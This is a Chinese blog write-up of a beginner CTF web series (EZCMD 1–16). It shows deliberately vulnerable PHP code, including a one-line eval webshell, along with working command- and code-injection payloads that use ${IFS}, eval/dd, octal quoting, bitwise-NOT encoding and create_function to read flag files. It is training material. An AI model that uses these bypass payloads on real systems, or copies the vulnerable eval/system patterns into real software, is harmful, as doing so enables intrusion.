青岑CTF web入门 EZCMD系列

EZCMD

php 复制代码
<?php

error_reporting(0);
if (isset($_POST['cmd'])) {
    $cmd = escapeshellcmd($_POST['cmd']);
    system($cmd);
}
show_source(__FILE__);
?>

关于 escapeshellcmd() 函数的介绍请看博客:escapeshellcmd()与escapeshellarg()函数-CSDN博客

这一关中 escapeshellcmd() 可以说形同虚设:

EZCMD_1

在终端或 Shell 中,分号的作用是告诉系统:依次执行多个命令

EZCMD_2

php 复制代码
 <?php

error_reporting(0);
if (isset($_POST['cmd'])) {
    $cmd = $_POST['cmd'];
    system($cmd." >/dev/null 2>&1");
}
show_source(__FILE__);
?>

虽然这段代码试图通过追加 >/dev/null 2>&1 来把命令的输出丢弃掉(这通常是为了不让用户看到命令执行的回显结果),但这仅仅掩耳盗铃,完全没有阻止恶意命令的执行。

当系统解析被注入的命令时: 命令A ; 命令B >/dev/null 2>&1 系统会认为:先正常执行 命令A(它的输出会正常显示),然后再执行 命令B,并且仅仅把 命令B 的输出丢弃

或者直接 命令A # >/dev/null 2>&1 来注释掉后面的丢弃语句。

EZCMD_3

php 复制代码
<?php

error_reporting(0);
if (isset($_POST['cmd'])) {
    $cmd = $_POST['cmd'];
    if (strpos($cmd, ' ') !== false) {
        die('no space allowed');
    }
    system($cmd." >/dev/null 2>&1");
}
show_source(__FILE__);
?>

在上一题的基础上过滤了空格。$IFS (Internal Field Separator) 是 Linux 的一个特殊环境变量,它的默认值就是空格、制表符(Tab)和换行符 。黑客可以直接用这个变量来"替换"空格。 为了防止变量名和后面的路径连在一起(比如变成 $IFSbin),黑客通常会加上大括号 ${IFS} 或者拼接一个空变量 $9

EZCMD_4

打开就是一张雷霆图片,一点也不可爱

访问robots.txt拿到一个php文件,访问就是这段代码了:

php 复制代码
<?php

error_reporting(0);
if (isset($_POST['cmd'])) {
    $cmd = escapeshellcmd($_POST['cmd']);
    if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
        system($cmd);
    }
}
show_source(__FILE__);
?>

这题过滤了好多东西,相当棘手。 黑名单封杀了 cat, tail, more, less, nl, od 等几乎所有常见的文本读取命令。 但是有一个叫 dd 的命令。dd 本来是 Linux 下用于底层磁盘拷贝和备份的强大工具,但如果把它指向一个普通的文本文件,它同样会把文件内容打印到屏幕上。 因此构造payload:

  • if=/$a$bifdd 命令里的意思是 input file(输入文件)。当 Linux Shell 看到 $a$b 时,它会去内存里把刚才存的 ab 的值拿出来。
  • 此时,/$a$b 瞬间在内存中被还原成了 /flag
  • 最终系统实际执行的命令是:dd if=/flag

但是这里有个问题值得思考:最前面的 eval 有什么用?可不可以去掉它?

先说结论:不能去掉,去掉了就拿不到flag了:

不带 eval
  1. 输入: a=fl;b=ag;dd if=/$a$b
  2. PHP 的 escapeshellcmd() 介入: 这个函数的本职工作就是转义特殊字符,它会把分号 ; 和美元符号 $ 前面强行加上反斜杠 \。 于是,拼接进 $cmd 的字符串变成了: a=fl\;b=ag\;dd if=/\$a\$b
  3. 交给 Linux Shell 执行: 当 Linux 收到这串带着反斜杠的命令时,它会认为:"哦,你不想让分号当分隔符,你也不想让美元符号当变量,你想让我执行一个名字就叫做 a=fl;b=ag;dd 的奇葩程序,并且参数是 if=/$a$b。" 因为系统里根本没有这种名字的程序,所以命令直接报错退出,什么都不会发生,拿不到 flag。
带上 eval
  1. 输入: eval a=fl;b=ag;dd if=/$a$b
  2. PHP 的 escapeshellcmd() 介入: 同样,它兢兢业业地转义了分号和美元符号,变成了: eval a=fl\;b=ag\;dd if=/\$a\$b
  3. 交给 Linux Shell 执行(奇迹发生的时刻): 这个时候,Linux Shell 的解析分为两步走
    • 第一步:Shell 的第一次解析 Shell 看到第一个词是 eval,它知道这是一个合法的系统命令。然后它把后面的部分当成参数传给 eval关键特性:Shell 在给命令传递参数时,会"消耗"掉用来转义的反斜杠。 也就是说,反斜杠完成了它的转义使命后,就消失 了。eval 实际接收到的参数是干干净净的:a=fl;b=ag;dd if=/$a$b
    • 第二步:eval 的第二次解析 eval 这个命令的作用,就是把接收到的参数,当成全新的 Shell 语句再执行一遍! 此时,eval 面对的是毫无保护、没有反斜杠的纯净字符串:a=fl;b=ag;dd if=/$a$b。 分号 ; 重新恢复了分隔符的魔力,美元符号 $ 重新恢复了变量解析的魔力! 最终,它成功拼接出 dd if=/flag,并把你的 flag 打印在了网页上。

dd if 换成 rev 命令也能拿到flag,只不过是倒过来的

EZCMD_5

php 复制代码
<?php
//flag在/flag.txt文件中
error_reporting(0);
if (isset($_POST['cmd'])) {
    $cmd = $_POST['cmd'];
    if (preg_match('/[a-zA-Z]/', $cmd)) {
        die('no letter allowed');
    }
    system($cmd);
}
show_source(__FILE__);
?>

个人认为这一关比上一关简单,这里把所有字母的大小写都过滤了。

$'...' 语法在 Bash 中被称为 ANSI-C 引用 (ANSI-C Quoting)。在这个结构内部,Shell 会将其中的转义序列(比如八进制、十六进制)解码成对应的 ASCII 字符。如果解码后的字符串位于命令行的开头,Shell 就会将其作为命令去执行。 比如:

bash 复制代码
$'\154\163'   #等同于命令:ls
核心原理

在 ASCII 码表中,每个字符都可以用八进制数来表示。在 $'...' 中,你可以使用 \nnn 的格式(n 代表八进制数字)来代替字母。

例如,字母 l 的 ASCII 十进制是 108,转换为八进制是 154。字母 s 的十进制是 115,八进制是 163

字符 含义 八进制 Shell 语法
空格 (分隔命令与参数) 040 \40
/ 斜杠 (根目录/路径分隔) 057 \57
. 点号 (当前目录/文件扩展名) 056 \56
- 连字符 (命令参数引导) 055 \55
* 星号 (通配符绕过) 052 \52
字母 大写八进制 大写 Shell 语法 小写八进制 小写 Shell 语法
A / a 101 \101 141 \141
B / b 102 \102 142 \142
C / c 103 \103 143 \143
D / d 104 \104 144 \144
E / e 105 \105 145 \145
F / f 106 \106 146 \146
G / g 107 \107 147 \147
H / h 110 \110 150 \150
I / i 111 \111 151 \151
J / j 112 \112 152 \152
K / k 113 \113 153 \153
L / l 114 \114 154 \154
M / m 115 \115 155 \155
N / n 116 \116 156 \156
O / o 117 \117 157 \157
P / p 120 \120 160 \160
Q / q 121 \121 161 \161
R / r 122 \122 162 \162
S / s 123 \123 163 \163
T / t 124 \124 164 \164
U / u 125 \125 165 \165
V / v 126 \126 166 \166
W / w 127 \127 167 \167
X / x 130 \130 170 \170
Y / y 131 \131 171 \171
Z / z 132 \132 172 \172

因此直接构造payload:

plain 复制代码
cmd=$'\143\141\164' $'\57\146\154\141\147\56\164\170\164' #cat /flag.txt

EZCMD_6

php 复制代码
<?php @eval($_POST['qc']);
show_source(__FILE__);
?>

典型的一句话木马,用蚁剑连接拿下flag,或者传参那下flag

EZCMD_7

php 复制代码
<?php
error_reporting(0);
if(isset($_GET['qc'])){
    $qc = $_GET['qc'];
    if(!preg_match("/flag/i", $qc)){
        eval($qc);
    }
}else{
    highlight_file(__FILE__);
}
?>

很简单且好多种方法,?qc=system('cat /f*');即可。

EZCMD_8

php 复制代码
<?php
error_reporting(0);
if(isset($_GET['qc'])){
    $qc = $_GET['qc'];
    if(!preg_match("/flag|system/i", $qc)){
        eval($qc);
    }
}else{
    highlight_file(__FILE__);
}
?>

过滤了system关键字,可以用echo代替system。`echo`cat /f*等价于cat /f*

EZCMD_9

php 复制代码
<?php
error_reporting(0);
if(isset($_GET['qc'])){
    $qc = $_GET['qc'];
    if(!preg_match("/system| /i", $qc)){
        eval($qc);
    }
}else{
    highlight_file(__FILE__);
}
?>

过滤了system和空格,依旧用echo``,空格用重定向符 < 代替

EZCMD_10

php 复制代码
<?php
error_reporting(0);
if(isset($_GET['qc'])){
    $qc = $_GET['qc'];
    if(!preg_match("/;/i", $qc)){
        eval($qc);
    }
}else{
    highlight_file(__FILE__);
}
?>
//flag在根目录的flag.txt文件中

过滤了分号 ; ,用 ?> 代替他即可

EZCMD_11

php 复制代码
<?php
//flag在flag.php文件中
error_reporting(0);
if(isset($_GET['qc'])){
    $qc = $_GET['qc'];
    if(!preg_match("/;/i", $qc)){
        eval($qc);
    }
 
}else{
    highlight_file(__FILE__);
}
?>

依旧过滤分号 ; 因为是php文件,因此不会渲染在页面上,打开源码就能看见

EZCMD_12

php 复制代码
<?php
//flag在flag.php文件中
error_reporting(0);
if (isset($_GET['qc'])) {
    $qc = $_GET['qc'];
    if (!preg_match("/['\"\?<>\.\$\{\}:\\\\~^@*\-+=\[\]\,]/", $qc)) {
        eval($qc);
    }
} else {
    highlight_file(__FILE__);
}
?>

提示flag在flag.php里面,但是过滤的有点狠了:

1. 引号与括号

  • ':单引号
  • ":双引号
  • {}:左右大括号(通过 \{\} 转义)
  • []:左右中括号(通过 \[\] 转义)

2. 标点与路径符号

  • ?:英文问号(通过 \? 转义)
  • .:英文句点(通过 \. 转义)
  • ,:英文逗号(通过 \, 转义)
  • ::英文冒号
  • \:反斜杠(在 PHP 字符串中写为 \\\\,解析为正则表达式的 \\,用于匹配单个反斜杠)

3. 数学与逻辑符号

  • <>:小于号和大于号(常用于过滤 HTML 标签 <script>
  • -:减号/连字符(通过 \- 转义,防止正则引擎将其误认为是字符区间,如 a-z
  • +:加号
  • =:等号
  • *:星号

4. 其他特殊符号

  • $:美元符号(通过 \$ 转义,防止被误认为正则的"行尾"占位符或 PHP 变量)
  • ~:波浪号
  • ^:脱字符/插入号(在 [] 内部如果不在开头,代表其字面含义)
  • @:At 符号

请出我们的xargs命令,关于xargs命令可以看我的文章:xargs命令-CSDN博客

最终构造payload:

plain 复制代码
?qc=echo`ls | grep flag | xargs cat`;

EZCMD_13

php 复制代码
<?php
$re = isset($_GET['re']) ? $_GET['re'] : '';
$str = isset($_GET['str']) ? $_GET['str'] : '';

if ($re === '' || $str === '') {
    highlight_file(__FILE__);
    exit;
}

echo preg_replace(
    '/(' . $re . ')/ei',
    'strtolower("\\1")',
    $str
);

这是一个经典的 preg_replace /e 代码执行 漏洞(PHP < 7.0)。

漏洞原理

/e 修饰符会把替换字符串当作 PHP 代码执行:

php 复制代码
preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $str);
  • $re → 正则表达式(我们控制)
  • $str → 待匹配字符串(我们控制)
  • \1 → 匹配到的内容会替换进 strtolower("\1") 中
  • 最终拼接出的代码被 eval 执行

后面就不会做了,无论怎么造payload都不管用。希望各位有才华的读者教教我怎么做。

EZCMD_14

php 复制代码
<?php
error_reporting(0);
if(isset($_GET['qc'])){
    $qc = $_GET['qc'];
    if(!preg_match("/[a-zA-Z0-9]/", $qc)){
        eval($qc);
    }
}else{
    highlight_file(__FILE__);
}
?>

这是一个典型的 PHP 非字母数字代码执行题,这种的一般思路就是通过取反或者异或构造想要的payload,我这里用取反做,直接写个简单的脚本:

python 复制代码
def encode_not(func_name):
    result = ""
    for ch in func_name:
        val = 255 - ord(ch)
        result += f"%{val:02X}"
    return f"(~{result})"


command = input("请输入命令: ")
print(encode_not(command))

通过这个脚本得到 phpinfo 取反后的URL编码为: (%8F%97%8F%96%91%99%90),具体细节如下

plain 复制代码
目标字符:    p    h    p    i    n    f    o
ASCII码:    112  104  112  105  110  102  111
取反(255-x): 143  151  143  150  145  153  144
转十六进制:  0x8F 0x97 0x8F 0x96 0x91 0x99 0x90
URL编码:    %8F  %97  %8F  %96  %91  %99  %90

最终构造pyaload: system('cat /flag'); 拿到flag

EZCMD_15

php 复制代码
<?php
error_reporting(0);

highlight_file(__FILE__);

if (isset($_GET['qc'])) {
    exec($_GET['qc']);
}
?>

关键问题是 exec() 不回显输出(不像 system()),所以直接传命令看不到结果。

第一步:先找flag的位置:

plain 复制代码
?qc=ls / >> 1.txt

访问1.txt发现flag确实在根目录里

第二步:获取flag:

plain 复制代码
?qc=cat /flag > 1.txt

访问1.txt得到flag

EZMD5_16

php 复制代码
<?php
  error_reporting(0);

highlight_file(__FILE__);

if (isset($_GET['qc'])) {
  create_function('', 'return ' . $_GET['qc'] . ';');
}
  ?>

create_function() 底层等价于 eval(),存在代码注入漏洞。

原理

用户输入直接拼接进函数体:

php 复制代码
// 你传入 qc=1
create_function('', 'return 1;');

// 如果传入 qc=1;}system("cat /flag");/*
create_function('', 'return 1;}system("cat /flag");/*;');

拼接后的函数体变成:

php 复制代码
function() {
    return 1;}        // 提前闭合 return 和函数体
    system("cat /flag"); // 注入的代码,在定义时就执行了
    /*;               // 注释掉多余的 ;
}
相关推荐
RisunJan1 小时前
Linux命令-php(PHP语言的命令行接口)
linux·php
txg6662 小时前
FuzzGPT:用大语言模型生成“极端边界程序”的深度学习框架 Fuzzing 新范式
人工智能·深度学习·安全·网络安全·语言模型
持敬chijing2 小时前
Web渗透之前后端漏洞-CSRF(跨站请求伪造)
安全·web安全·网络安全·xss·csrf
持敬chijing2 小时前
Web渗透之前后端漏洞-文件下载漏洞
sql·web安全·网络安全·网络攻击模型·web
X7x53 小时前
重塑安全防线:PDR2A模型构建数字时代的动态防御体系
网络安全·网络攻击模型·安全威胁分析·安全架构·pdr2a模型
艾莉丝努力练剑3 小时前
【Linux网络】NAT、内网穿透、内网打洞
linux·运维·服务器·网络·计算机网络·udp·php
云安全助手13 小时前
Anthropic年度报告解读:AI重塑网络攻击形态,传统防御体系亟待升级
人工智能·安全·网络安全·ai大模型
dog25015 小时前
网络长尾延时的重尾本质
开发语言·网络·php
ManageEngine卓豪16 小时前
从性能故障到安全风险,现代企业数字化转型下的网络丢包运维管控指南
运维·网络安全·网络故障·网络丢包